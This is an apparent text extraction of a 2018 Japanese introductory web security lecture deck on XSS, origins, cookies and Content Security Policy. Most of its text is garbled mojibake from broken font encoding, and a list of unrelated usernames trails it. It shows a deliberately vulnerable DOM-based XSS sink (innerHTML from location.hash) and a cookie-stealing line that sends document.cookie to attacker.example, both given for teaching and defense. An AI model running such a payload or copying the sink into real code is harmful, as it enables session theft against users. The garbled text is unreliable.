© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ$SPTT4JUF4DSJQUJOH 944BUUBDLTBSFBUZQFPGJOKFDUJPO JOXIJDINBMJDJPVTTDSJQUTBSFJOKFDUFEJOUPPUIFSXJTFCFOJHOBOEUSVTUFEXFCTJUFTIUUQTXXXPXBTQPSHJOEFYQIQ$SPTTTJUF@4DSJQUJOH@ 944l944֓ཁ $SPTT4JUF4DSJQUJOHͱҰମԿ͔52
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ944ݪཧ 944͍͔ʹͯ͠ى͜Δ͔‣ ίϯςΩετʹݟ߹ͬͨΤεέʔϓ͕ͳ͞Εͳ͍·· Ͳ͔͔͜Βೖྗ͞Εͨจࣈྻ͕ग़ྗ͞ΕΔ͜ͱʹΑΓى͜Δ53"> ͷݕࡧ݁Ռ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ944Өڹ 0SJHJOͱ͍͏؍͔Βݟͨ944‣ 4BNF0SJHJO1PMJDZʹΑΓ ͋Δ0SJHJO ͦͷ֎෦ͷ0SJHJO͔Βσʔλ͕ୣऔ͞Εͳ͍ ˞ྫ֎͋Δɻ‣ 944ͦͷ0SJHJOͷ෦ʹ৵ೖ͢Δ߈ܸ ͩͱଊ͑ΒΕΔɻ‣ ߈ܸऀ401ͷ੍Λड͚ͣʹ ର0SJHJOͷଆΛಈ͖ճΕΔ54Origin AεΫϦϓτૠೖ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ3FqFDUFE944 944ͷྨ55ࢦఆͨ͠ϦΫΤετΛඪత͕ൃߦ͢ΔΑ͏༠ಋ FHIUUQFYBNQMFDPN TFBSDITDSJQUBMFSU TDSJQUඪత͕༠ಋ͞ΕͯϦΫΤετΛൃߦԚછࡁίϯςϯπͷฦ٫ FHITDSJQUBMFSU TDSJQUͰͷݕࡧ݁ՌI
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ4UPSFE944 944ͷྨ56ѱҙͷ͋ΔεΫϦϓτΛೖྗͱͯ͠ೖ FHϒϩάͷίϝϯτͱͯ͠TDSJQUBMFSU TDSJQUΛૹ৴อଘอଘΞΫηεԚછࡁίϯςϯπͷฦ٫
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ%0. %PDVNFOU0CKFDU.PEFM‣ )5.- 9.-ͷߏʹΞΫηε͢ΔͨΊͷ‣ จষߏΛ5SFFܗͷϞσϧͱͯ࣋ͭ͠‣ 8)"58(ʹΑΔఆٛ IUUQTEPNTQFDXIBUXHPSH57
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ%0.#BTFE944 944ͷྨ58document.getElementById("query").innerHTML =''+decodeURI(location.hash.substring(1))+'';‣ %0.ૢ࡞ʹΑͬͯҾ͖ى͜͞ΕΔ944Λ%0.#BTFE944ͱݺͿ‣ ଞͷ944छ֓ͶUBJOUFEͳίʔυ͕ฦͬͯ͘Δͷʹର͠ %0.#BTFE944ͰUBJOUFEͰͳ͍ίʔυ͕ฦͬͯ͘Δ߹͋Δ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ͍͔ʹͯ͠৵ೖ͢Δ͔ $PPLJFΛ౪Ήͱ͍͏͜ͱ59‣ EPDVNFOUDPPLJF͕౪·ΕΔͱͲ͏ͳΔ͔‣ ηογϣϯཧʹ͠͠$PPLJF͕ΘΕΔ 㲎)551εςʔτϨε‣ ηογϣϯ͕౪·ΕΔ͜ͱ JE QBTTXPSE͕౪·ΕΔ͜ͱʹ͍ۙ‣ ͪΖΜݫີʹҰॹͰͳ͍͕‣ ߈ܸऀ౪Μͩ$PPLJFΛͬͯ ߈ܸରͷηογϣϯΛୣ͑Δ <br/>document.location = '//attacker.example/?' + document.cookie; <br/>
&YFSDJTF 944ͷݪཧΛཧղ͠Α͏
&YFSDJTF $PPLJFΛୣऔͯ͠ΈΑ͏
&YFSDJTF 944$IBMMFOHF
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ944$IBMMFOHF!0LBZBNB ·͔ͣΜͨΜͳറΓ͖944ʹઓͯ͠ΈΑ͏͜ΕԼهϦϯΫ͔ΒΦϯϥΠϯͰઓՄೳͰ͢IUUQTYTTTIJGUKTJOGP63
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ944ൃల 944ؔ࿈ٕज़ͷைྲྀ64͝Ζ͝Ζ͝Ζ͝Ζ944ͱ͍͏ݴ༿͕ΘΕ͡ΊΔ $SPTTTJUFTDSJQUJOHBUUBDLT944&YQMPJUTBOEEFGFOTFͳͲ %0.#BTFE944ͱ͍͏ݴ༿͕ΘΕ͡ΊΔ IUUQXXXXFCBQQTFDPSHQSPKFDUTBSUJDMFTTIUNM…4DSJQUMFTT"UUBDLͱ͍͏֓೦͕ग़ݱ͢Δ )FJEFSJDIFUBM IUUQTXXXOETSVCEFNFEJBFNNBWFSPF⒎FOUMJDIVOHFOTDSJQUMFTT"UUBDLTDDTQEG4DSJQU(BEHFUTͱ͍͏ݴ༿͕ग़ݱ͢Δ -FJLJFTFUBM IUUQTHJUIVCDPNHPPHMFTFDVSJUZSFTFBSDIQPDTUSFFNBTUFSTDSJQUHBEHFUT
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ944ରࡦ ͍͔ʹͯ͠कΔ͔65࣮ w σʔλͷྲྀΕɾจ຺ʹԠͨ͡Τεέʔϓॲཧݕࠪ w ेͳηΩϡϦςΟςετw ेͩͱࢥ͏੍ Ҋ֎ෆे͔ w ෆదͳ࣮ %PVCMF&ODPEJOH FUD ࣮͔͠͠Βݟ͑ʹ͍͘༧ w $POUFOU4FDVSJUZ1PMJDZͷઃఆw ࣮ߦ͞ΕͯඃΛ͑ΒΕΔΑ͏ʹ
'VUVSF 8FCʹ͓͚Δ ηΩϡϦςΟڥքͷ ՝ͱະདྷ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ՝ෆଗ͍ͳڥքͨͪ $PPLJFͷͭྺ࢙తܦҢ67‣ $PPLJF0SJHJOϥΠΫͳผͷઢҾج४Λ࣋ͭ‣ FHQBUIߟྀ͞ΕΔ‣ FHυϝΠϯʹ$PPLJFΛઃఆͨ͠ΓͰ͖Δ‣ $PPLJFͷొ401ͷొΑΓલͩͬͨͨΊ‣ $PPLJF͕౪·Ε͏Δঢ়گͰ ηογϣϯΛ౪·ΕΔ͏Δ‣ εςʔτϨεͳ)551ʹͱͬͯ ͜Εக໋తͳ͜ͱ‣ ʮ͍͔ʹͯ͠$PPLJFΛकΔ͔ ʯͱ͍͏ͷॏཁͳ૪Ͱ͋Δ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δະདྷ$PPLJF $PPLJFΛ͍͔ʹͯ͠कΔ͔ͷྫ‣ 4FDVSF$PPLJF IUUQTUPPMTJFUGPSHIUNMSGDIUNM‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ )5514Λ༻͍ͨ௨৴ͰͷΈૹ৴͞ΕΔ‣ )UUQ0OMZ$PPLJF IUUQTUPPMTJFUGPSHIUNMSGDIUNM‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ EPDVNFOUDPPLJF͔ΒΞΫηεͰ͖ͳ͍‣ 4BNFTJUF$PPLJF IUUQTUPPMTJFUGPSHIUNMESBGUXFTUpSTUQBSUZDPPLJFT‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ ΫϩεαΠτͳϦΫΤετͷࡍʹ $PPLJFૹ৴੍͕ݶ͞ΕΔ‣ ηοτ͞ΕΔ MBY͔TUSJDUʹԠͯ͡ڍಈ͕ҟͳΔͷͰҙ68
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ՝0SJHJO ྺ࢙తʹΓ͚ΒΕͳ͍0SJHJOୡ ·ͨઃఆͷ͠͞‣ ྺ࢙తܦҢ͔ΒΓ͚ΒΕ͍ͯͳ͍0SJHJOଘࡏ͢Δ‣ ྫIUUQTXXXHPPHMFDPNNBQTͱIUUQTXXXHPPHMFDPN‣ 0SJHJOͷׂʹΑΓ 401$034ͳͲͷԸܙΛड͚ΒΕΔ‣ ͍͔ʹͯ͠ޙํޓੑΛอͪͭͭ ΑΓ҆શͳੈքΛ࡞Δ͔ ‣ ͖Ε͍ʹΓ͚ΒΕ͍ͯͯ͋Δ‣ جຊతʹݱঢ়ͷηΩϡϦςΟϙϦγʔ $41 $034 )454 )1,1 3FGFSSFS1PMJDZ ϦΫΤετ͝ͱʹ༩͢Δඞཁ͕͋Δ͕ʜ‣ ௨৴ճͷ૿େ $0341SFqJHIU3FRVFTUͳͲ‣ ϔομαΠζͷ૿େ‣ ઃఆΕͷՄೳੑ69
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δະདྷ0SJHJO 0SJHJOΛ͍͔ʹ֦ͯ͠ு͢Δ͔‣ 4VCPSJHJOT IUUQTXDHJUIVCJPXFCBQQTFDTVCPSJHJOT‣ ͋ΔҰͭͷ0SJHJOΛ ΑΓࡉ͔͘ྨ͢ΔͨΊͷ༷‣ 4VCPSJHJOϔομʹΑΓOBNFTQBDFͱݺΕΔͷΛ৴‣ TDIFNF IPTU QPSU OBNFTQBDFΛ4VCPSJHJOͱ͠ ࣮༻্͜ΕΛγϦΞϥΠζͨ͠ͷΛ0SJHJOͱ͢Δ‣ 0SJHJO1PMJDZ IUUQTXJDHHJUIVCJPPSJHJOQPMJDZ‣ 4FD0SJHJO1PMJDZϔομʹΑΓ͋Γ͔͕Β͞ΕΔ0SJHJO.BOJGFTUͱݺΕΔ+40/ܗࣜͷͷΛͬͯ 0SJHJOશମʹରͯ͠ ηΩϡϦςΟϧʔϧΛ৴ $41 )454 )1,1 ‣ 4JUF8JEF)551)FBEFSTͷΑ͏ͳྨࣅϓϩϙʔβϧ͋Δ70
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ՝8FC"1* ୈೋͷ04ͱͯ͠ͷ8FCϒϥβ‣ ϒϥβʹࡌ͍ͬͯΔػೳ༷ʑ‣ 7JCSBUJPO (FPMPDBUJPO $BNFSB .JDSPQIPOF ‣ ػೳ͕૿͑Δͨͼʹ ηΩϡϦςΟϦεΫ૿େ͢Δ‣ ͻͱͨͼ᠘αΠτΛ౿ΜͰ͠·ͬͨΒ ‣ 944ʹΑΓਖ਼نαΠτʹ߈ܸऀ͕ѱҙ͋ΔεΫϦϓτΛຒΊࠐΜͩΒ ‣ ͜Ε୭ͷ͍ͤ ‣ $41JGSBNFࣗମʹTBOECPYػߏ͋Δͷͷ ෆे‣ શίϯςΩετʹҰ؏ੑΛอͬͨঢ়ଶͰ੍ݶΛՃ͑Δ͜ͱ͕͍͠‣ ௨ৗEJTBCMF͞Ε͍ͯΔػೳΛ໌ࣔతʹFOBCMF͢Δػೳ͕ͳ͍71
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δະདྷ8FC"1* ୈೋͷ04ͱͯ͠ͷ8FCϒϥβΛ ͍͔ʹͯ͠कΔ͔‣ 'FBUVSF1PMJDZ IUUQTXJDHHJUIVCJPGFBUVSFQPMJDZ‣ )551ϔομΛ௨ͯ͠ ϒϥβػೳΛ໌ࣔతʹ༗ޮԽɾແޮԽ͢ΔͨΊͷηΩϡϦςΟϙϦγʔ‣ 0SJHJOผ ػೳผʹهड़Մೳ‣ 'FBUVSF1PMJDZϔομΛ༻72// from https://wicg.github.io/feature-policy/#examplesFeature-Policy: vibrate 'none'; geolocation 'none'Feature-Policy: geolocation 'self' https://example.com
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ՝։ൃऀͱͷڠௐ ͍͘͢ ཧղ͘͢͠ ͔ͭ҆શΛͨΒͤΔڥքΛ‣ ཧͱݱ࣮ͷࠩ͋Δ‣ ࣮ӡ༻Ͱ ͠͠ޡͬͨPSແྗͳ$41͕ઃఆ͞Ε͍ͯΔ‣ ࢀߟ8FJDITFMCBVNFUBMͷ$41JTEFBE MPOHMJWF$410OUIFJOTFDVSJUZPGXIJUFMJTUTBOEUIFGVUVSFPGDPOUFOUTFDVSJUZQPMJDZ‣ ৽͍͠ϒϥβଆηΩϡϦςΟϙϦγʔΛ࡞ɾಋೖ͠Α͏ͱͯ͠ ޙํޓੑͷରԠ͕େม‣ FH$41ͷTUSJDUEZOBNJDʜجຊతʹXIJUFMJTUCBTFEͳϧʔϧͱซ༻Ͱ͖ͳ͍͕ ॻ͔ͳ͍ͱTUSJDUEZOBNJDඇରԠϒϥβͰ$41͕ແྗʹͳͬͯ͠·͏ ͱ͍ͬͨ‣ ޙํޓੑ લํޓੑΛҙࣝͨ͠ൃల͕ཁ͞Ε͍ͯΔ73
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ࣍ʹֶͿ͖͜ͱ Φεεϝͷॻ੶ɾɾจॻ‣ 5IF5BOHMFE8FC"(VJEFUP4FDVSJOH.PEFSO8FC"QQMJDBUJPOT‣ ༁൛ΊΜͲ͏͍͘͞8FCηΩϡϦςΟ‣ ͲͪΒଟ͘ͷΤοδέʔεྺֶ࢙Δຊ‣ 5IF#SPXTFS)BDLFST)BOECPPL‣ ༁൛ϒϥβϋοΫ‣ ͍͔ʹ߈ܸ͢Δ͔ʹϑΥʔΧεΛֶͯͭͭΔ ໘ന͍ຊ‣ )PXUIF8FC5BOHMFE*UTFMG6ODPWFSJOHUIF)JTUPSZPG$MJFOU4JEF8FC *O4FDVSJUZ‣ IUUQTQVCMJDBUJPOTDJTQBTBBSMBOEBSDIJWFPSHpOBMQEG‣ ྺ࢙Λަ͑ͯͬ͘͟Γͱ͜Ε·Ͱͷைྲྀݱঢ়ΛѲ͢Δͷʹྑ͍74
$PODMVTJPOຊͷ·ͱΊ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ0VUMJOF‣ %FGFOTFJO%FQUIଟޚͱ͍͏ߟ͑ํ‣ ଟޚͱݺΕΔߟ͑ํʹֶ͍ͭͯͼ·͢‣ #PVOEBSZ8FCϒϥβதͷڥք‣ 8FCϒϥβʹ͓͚Δڥքͷྫͱͯ͠0SJHJOΛֶͼ 0SJHJOʹؔ࿈ͨ͠ޚػߏʹ͍ͭͯͷϋϯζΦϯΛߦ͍·͢‣ $SPTT4JUF4DSJQUJOH944ͷݪཧ ࣮ફ ରࡦ‣ 944Λڥքͷ؍͔Βཧ͠ ࣮ફԋशΛߦ͍·͢‣ 'VUVSF8FCʹ͓͚ΔηΩϡϦςΟڥքͷ՝ͱະདྷ‣ ࠷ۙͷ8FCʹ͓͚ΔηΩϡϦςΟͷΛͬ͘͟Γཧ͠·͢76
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ(PBMT ࠶ܝ ຊߨٛͰࢦ͢ͱ͜Ζͷ࠶֬ೝ‣ ֶͼ͍ͨ͜ͱ‣ 8FC4FDVSJUZCZ%FTJHOઃܭஈ֊͔Βͷ8FCηΩϡϦςΟ‣ جૅతͳ944ʹؔ͢Δࣝ‣ Ͱ͖ͨΒ࠷ۙͷ8FCηΩϡϦςΟ ͱΓΘ͚ϒϥβͷηΩϡϦςΟػߏʹؔ͢Δ‣ ߨٛऴྃޙ͍͚ͯͨͩͨ͠Βخ͍͜͠ͱ‣ 8FCηΩϡϦςΟͷΛͱҰॹʹ͍͔͚ͯ΄͍͠‣ 8FCηΩϡϦςΟ͕͖ͱ͍͏ֶੜ͕ݮͬͨΑ͏ͳؾ͕͍ͯ͠Δ‣ 8FCηΩϡϦςΟΛ͖ʹͳͬͯ͘ΕͨͳΒ ͱͯخ͍͠77
"OZ2VFTUJPOT 5BLBTIJ:POFVDIJKB!MNU@TXBMMPX FO!ZOVDIZIUUQTTIJGUKTJOGP
"QQFOEJY" 944ͷεεϝ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ࣮ࣾձͰͷ944 ੍ͱͷઓ͍‣ ૉͰͳ͍γνϡΤʔγϣϯͰͷ944͠͠ݟ͔ͭΔ‣ FH͋Δจࣈ͕͑ͳ͍‣ FH$41ʹΑΓಛఆ݅ԼͰ͔͠εΫϦϓτ͕ಈ͔ͤͳ͍‣ FH͋ΔϒϥβػೳΛΘͳ͍ͱಈ͔ͳ͍‣ ʮཧ্ ո͍͠ڍಈશ෦௵ͤΑ͍ͷͰ ʯ‣ ͓͕ۚབྷΉͱͦΕ͍͠‣ ࣮ࡍʹةݥੑ͕͋Δͱݴͬͯ ߈ܸ͕௨Βͳ͍ͳΒ ϓϥΠΦϦςΟ͍‣ આಘྗΛ࣋ͬͨใࠂͷͨΊʹ ࣮ࡍʹڴҖͨΓ͏Δ߈ܸܦ࿏Λఏࣔ͢Δ1P$Λఏࣔ͢Δ͜ͱ͕ Ұ൪ڹ͘ ͱࢥ͍ͬͯΔ‣ ୳͢ͷʹ͕͔͔࣌ؒΔͷͰ ͪΖΜόϥϯεେࣄ80
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ͕Δ944$IBMMFOHF 944$IBMMFOHFʹઓͯ͠ΈΑ͏‣ 3FTFBSDIFSୡ͔Βʑ৽944$IBMMFOHFωλ͕ग़͍ͯΔ‣ τϨϯυ࠷৽༷Λ͏ͨΊʹ͘͢͝ʹཱͭ‣ ݸਓతͳ͓͢͢Ίͷ944$IBMMFOHFԼه‣ 944HBNFCZ(PPHMF IUUQTYTTHBNFBQQTQPUDPN‣ 9441PMZHMPU$IBMMFOHFCZ!pMFEFTDSJQUPS IUUQTQPMZHMPUJOOFSIUNM‣ 944$IBMMFOHFTCZ$VSF IUUQTHJUIVCDPNDVSF944$IBMMFOHF8JLJXJLJ81
"QQFOEJY# $41$POUFOU4FDVSJUZ1PMJDZ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ$POUFOU4FDVSJUZ1PMJDZ $41ͱҰମԿ͔‣ $POUFOU4FDVSJUZ1PMJDZ $41ͱ 944ͦͷଞσʔλΠϯδΣΫγϣϯܥͷ߈ܸ͔ΒकΔͨΊͷ ՃޚϨΠϠ‣ ͬ͘͟Γݴ͏ͱ ֎෦Ϧιʔε +4 JNH GPOU FUDͷಡΈग़͠ݩͷ੍ݶ ͦͷଞͷηΩϡϦςΟػߏͷ ؆୯ͳ੍ޚʹ͑Δ832010'JSTU1SPQPTFE2012 20168$$3$418$3&$$41-W20188$8%$41-W
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ࣮ྫ ࣮ੈքʹ͓͚Δ$POUFOU4FDVSJUZ1PMJDZͷ༻ྫ‣ Ϟμϯͳେख8FCαʔϏε‣ (JU)VC‣ 5XJUUFS‣ 'BDFCPPL‣ FUD‣ 8FCαʔϏεҎ֎ͷ҆શੑΛ୲อ͖͢ͱ͜Ζ‣ $ISPNF&YUFOTJPO‣ 'JSFGPY"EEPO‣ FUD84l*OPSEFSUPNJUJHBUFBMBSHFDMBTTPGQPUFOUJBMDSPTTTJUFTDSJQUJOHJTTVFT $ISPNFTFYUFOTJPOTZTUFNIBTJODPSQPSBUFEUIFHFOFSBMDPODFQUPG$POUFOU4FDVSJUZ1PMJDZ $41 IUUQTEFWFMPQFSDISPNFDPNFYUFOTJPOTDPOUFOU4FDVSJUZ1PMJDZ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ$41ͷ͍ํ ϔομPSNFUB‣ $41ͷઃఆํ๏௨Γ͋Δ‣ )551Ϩεϙϯεϔομதʹهड़͢Δ‣ )5.-தͰNFUBλάΛ༻͍ͯهड़͢Δ‣ 4QFDJpDBUJPOTΛಡΉͱશ͕ͯॻ͍ͯ͋Δ‣ IUUQTXXXXPSH53$4185Content-Security-Policy: default-src 'self'content="default-src 'self'">
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ$41ͷࠓޙ $41ʹ͚ͯ‣ ଟ͘ͷ৽ػೳվળ͕ଓ͍͍ͯΔ‣ 'FUDIͷ༷ʹ߹Θͤͨ࠶هड़‣ 3FQPSUJOH"1*ͱͷ౷߹‣ OBWJHBUFUPͳͲͷ৽EJSFDUJWF‣ ͳͲͳͲʜ‣ ࠷৽ͷٞΛͬͯΈΑ͏‣ IUUQTHJUIVCDPNXDXFCBQQTFDDTQJTTVFT86
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ&YFSDJTF$41 $41ʹΑΔ੍ݶΛ࣮ײͯ͠ΈΑ͏‣ ࣄޙ՝࣍ΛͭͣͭऔΓΜͰΈ·͠ΐ͏ ࣗͷ8FCϖʔδΛ͍࣋ͬͯΕ ͦ͜ʹ$41Λઃఆ͢Δ‣ ͠ͳ͚Ε ࣍ͷͲͪΒ͔ͰݕূՄೳ‣ ϩʔΧϧʹ)5.-Λ࡞ͯ͠ NFUBΛ͏‣ 8FCαʔόʔΛϩʔΧϧʹཱͯͯΈΔ EPDLFSͳͲ͕ศར $41&WBMVBUPS IUUQTDTQFWBMVBUPSXJUIHPPHMFDPNͰઃఆͨ͠ϖʔδΛݕূͯ͠ΈΔ ݕূ݁ՌΛݟͯ ΑΓΑ͍ϙϦγʔΛઃఆͯ͠Έ·͠ΐ͏ $41CZQBTTͷख๏ʹ͍ͭͯௐͯ ࣮ࡍʹCZQBTTՄೳͳ݅Λ୳ͯ͠Έ·͠ΐ͏87
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ࣍ʹֶͿ͖͜ͱ Φεεϝͷॻ੶ɾɾจॻ‣ $41*T%FBE -POH-JWF$410OUIF*OTFDVSJUZPG8IJUFMJTUTBOEUIF'VUVSFPG$POUFOU4FDVSJUZ1PMJDZ‣ λΠτϧͰ(PPHMFݕࡧ͍ͯͩ͘͠͞‣ ͷจͰ͕͢ ମܥతʹ$41ͱͦͷόΠύεख๏ʹ͍͕ͭͯ·ͱΊΒΕ͍ͯΔ‣ )*5#".4%5%FGFOTFJO%FQUI5FDIOJRVFTGPS.PEFSO8FC"QQT.4QBHOVPMP-8FJDITFMCBVN‣ IUUQTXXXZPVUVCFDPNXBUDI W33@&R,T:CP‣ GPS.PEFSO8FC"QQTͱଧ͍ͬͯΔ͕ $41ͦͷଞͷ.PEFSOͳ$MJFOUTJEFͷޚϨΠϠʹ͍ͭͯ ͬ͘͡Γղઆ͍ͯ͠Δ88
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ࣍ʹֶͿ͖͜ͱ Φεεϝͷॻ੶ɾɾจॻ‣ $$41$POUSPMMFESFMBYBUJPOPGDPOUFOUTFDVSJUZQPMJDJFTCZSVOUJNFQPMJDZDPNQPTJUJPO‣ IUUQTXXXVTFOJYPSHTZTUFNpMFTDPOGFSFODFVTFOJYTFDVSJUZTFDDBM[BWBSBQEG‣ ݱঢ়ͷ$41ͷΛ౿·͑ͯ ΑΓΑ͍1PMJDZهड़๏Λࡧ͢Δ3FTFBSDIMJOFͷྫ‣ (JU)VCͷXFCBQQTFDDTQ‣ IUUQTHJUIVCDPNXDXFCBQQTFDDTQ‣ *TTVFTΛ PQFO DMPTFEΘͣಡΜͰΈͨΓ 13ΛோΊͨΓͯ͠ΈΔͱ ͍͍ؾ͖͕͋Δ͔͠Εͳ͍89
"QQFOEJY$ )551
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ)551 )ZQFS5FYU5SBOTGFS1SPUPDPM JOTIPSU91(&5JOEFYIUNM)551 ʜ)5510, ʜϦΫΤετ Ϩεϙϯε8FCαʔό
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ)551ϦΫΤετ (&5ϦΫΤετͷྫ92GET / HTTP/1.1Host: shift-js.infoConnection: closePragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X10_12_6) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/70.0.3538.67 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9,ja;q=0.8Cookie: ...
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ)551ϦΫΤετ (&5ϦΫΤετʹର͢ΔϨεϙϯεͷྫ93HTTP/1.1 200 OKServer: nginxDate: Tue, 23 Oct 2018 12:57:05 GMTContent-Type: text/html; charset=UTF-8Last-Modified: Fri, 14 Sep 2018 01:26:38 GMTConnection: closeETag: W/"5b9b0e4e-46d4"Strict-Transport-Security: max-age=31536000Content-Length: 18132 ...
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ)551ϦΫΤετΛ͘ ࠓճ%FWFMPQFS5PPMTΛ͏‣ )551௨৴ී௨ ࣍ͷΑ͏ͳ1SPYZπʔϧΛར༻ͯ͘͠‣ #VSQ4VJUF‣ 'JEEMFS‣ FUD‣ ࠓ(PPHMF$ISPNF ͋Δ͍$ISPNJVNʹଐͷ%FWFMPQFS5PPMTΛͬͯ)551ϦΫΤετϨεϙϯεΛ͘‣ %FWFMPQFS5PPMT࣍ͷΑ͏ͳγϣʔτΧοτΩʔͰىಈ͢Δ‣ 8JOEPXTͷ߹' ͋Δ͍$USM4IJGU*Ͱىಈ .BDͷ߹$NE0QU*Ͱىಈ94
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 958JOEPXT' $USM4IJGU* .BD$NE0QU*Ͱىಈ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 96/FUXPSLλϒͰ)551௨৴ͷ༷ࢠ͕͚Δ
3FGFSFODFT
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δࢀর‣ Qͷͷը૾ ࢈ۀٕज़૯߹ݚڀॴ ࢈૯ݚͷใγεςϜʹର͢Δෆਖ਼ͳΞΫηεʹؔ͢Δใࠂ IUUQTXXXBJTUHPKQQEGBJTU@KUPQJDTUPUPBJTUQEG98
lmt_swallow
jmmastey
lynnandtonic
bcantrill
speakerdeck
danielanewman
geoffreycrofte
andyhume
destraynor
nonsquared
cherdarchuk
holman
edds